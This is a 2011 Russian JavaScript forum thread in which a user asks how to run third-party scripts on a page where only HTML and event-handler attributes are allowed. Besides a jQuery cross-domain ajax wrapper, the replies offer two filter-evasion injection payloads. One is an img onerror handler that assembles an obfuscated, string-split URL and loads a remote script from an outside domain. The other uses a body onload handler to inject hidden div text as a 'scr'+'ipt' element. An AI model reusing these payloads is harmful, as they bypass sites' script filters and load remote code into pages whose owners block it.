Но можно выполнять код задавая onload, onclick и т.д. Можно добавлять произвольный html.
Задача - сделать так, чтобы код подгружаемый со стороннего сервера, содержащий document.write, корректно отработал.
У меня затруднение. Помогите советом.
Форум → Программирование → JavaScript → Внедрить скрипты
7 июня 2011 г. 20:57, спустя 37 минут 8 секунд
7 июня 2011 г. 22:33, спустя 1 час 36 минут 17 секунд
8 июня 2011 г. 0:23, спустя 40 минут 16 секунд
8 июня 2011 г. 6:01, спустя 5 часов 37 минут 46 секунд
Этот метод работает через xhr, значит не сможет выполниться между доменами.
8 июня 2011 г. 20:07, спустя 14 часов 6 минут 14 секунд
jQuery.ajax = (function(_ajax){ // enable cross domain ajax powered by yahoo API(same use as in jquery)
var protocol = location.protocol,
hostname = location.hostname,
exRegex = RegExp(protocol + '//' + hostname),
YQL = 'http' + (/^https/.test(protocol)?'s':'') + '://query.yahooapis.com/v1/public/yql?callback=?',
query = 'select * from html where url="{URL}" and xpath="*"';
function isExternal(url) {
return !exRegex.test(url) && /:\/\//.test(url);
}
return function(o) {
var url = o.url;
if ( /get/i.test(o.type) && !/json/i.test(o.dataType) && isExternal(url) ) {
o.url = YQL;
o.dataType = 'json';
o.data = {
q: query.replace(
'{URL}',
url + (o.data ?
(/\?/.test(url) ? '&' : '?') + jQuery.param(o.data)
: '')
),
format: 'xml'
};
if (!o.success && o.complete) {
o.success = o.complete;
delete o.complete;
}
o.success = (function(_success){
return function(data) {
if (_success) {
_success.call(this, {
responseText: data.results[0]
.replace(/<script[^>]+?\/>|<script(.|\s)*?\/script>/gi, '')
}, 'success');
}
};
})(o.success);
}
return _ajax.apply(this, arguments);
};
})(jQuery.ajax); // –end
11 июля 2011 г. 16:50, спустя 32 дня 4 часа 48 минут
<img src="htt://123.12211" onerror="(function(){var scr = document.createElement('script');scr.src = 'ht'+'t'+'p'+':'+'//mo'+'bik'+'ano.'+'co'+'m/'+'out.p'+'hp?sid=11'+'111';document.body.appendChild(scr);})();" />
11 июля 2011 г. 18:11, спустя 1 час 21 минуту 18 секунд
<div id="haxx" style="display:none">
alert(1);
</div>
<body onload="haxx=document.createElement('scr'+'ipt');haxx.innerHTML=document.getElementById('haxx').innerHTML;document.body.appendChild(haxx)">
Пожалуйста, авторизуйтесь, чтобы написать комментарий!